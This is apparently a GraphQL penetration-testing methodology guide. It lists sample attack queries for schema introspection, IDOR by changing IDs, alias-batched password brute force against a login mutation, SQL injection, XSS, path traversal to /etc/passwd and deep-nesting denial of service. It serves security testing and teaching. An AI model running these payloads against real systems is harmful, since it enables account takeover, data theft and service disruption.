GraphQL Security Testing

Attack Surface

GraphQL endpoints expose a flexible query language that commonly introduces: unauthorized object access via ID manipulation, schema disclosure via introspection, DoS via deeply nested/batched queries, injection via unparameterised arguments, and information disclosure via verbose errors.

Methodology

Phase 1 — Discover and fingerprint

Common endpoints: /graphql, /api/graphql, /query, /gql, /v1/graphql
Test with: { __typename }
Check for: GraphiQL IDE exposed in production

Phase 2 — Introspection (schema extraction)

query IntrospectionQuery {
  __schema {
    types { name kind fields { name type { name kind ofType { name kind } } } }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

Extract all queries, mutations, types, and field names. Build a complete map of the API surface.

# Automated with InQL or graphql-voyager
inql -t http://target/graphql

Phase 3 — IDOR via ID manipulation

# Test integer IDs
query { user(id: 1) { email, role, balance } }
query { user(id: 2) { email, role, balance } }  # another user's data

# Test UUID enumeration
query { order(id: "550e8400-e29b-41d4-a716-446655440000") { total, items } }

Phase 4 — Batching attacks (rate limit bypass, brute force)

# Alias batching — send 100 requests in one HTTP call
query {
  a1: login(username: "admin", password: "password1") { token }
  a2: login(username: "admin", password: "password2") { token }
  ...
  a100: login(username: "admin", password: "password100") { token }
}

Phase 5 — Injection via arguments

query { user(id: "1 UNION SELECT...") { name } }       # SQLi
query { search(term: "<script>alert(1)</script>") { results } }  # XSS
query { file(path: "../../etc/passwd") { content } }   # Path traversal

Phase 6 — Introspection bypass attempts

If introspection is disabled:

# Try field suggestion (Cleopatra attack) — GraphQL suggests valid field names
query { __typename @deprecated }
query { user { __typename } }  # partial schema disclosure via errors

Phase 7 — DoS via query complexity

# Deep nesting
query { user { friends { friends { friends { friends { name email } } } } } }

Tools

• InQL — Burp extension + CLI
• graphql-voyager — schema visualiser
• BatchQL — batching attack scanner
• graphw00f — GraphQL fingerprinting

OWASP Top 10 Mapping

• A01:2021 — Broken Access Control (IDOR)
• A03:2021 — Injection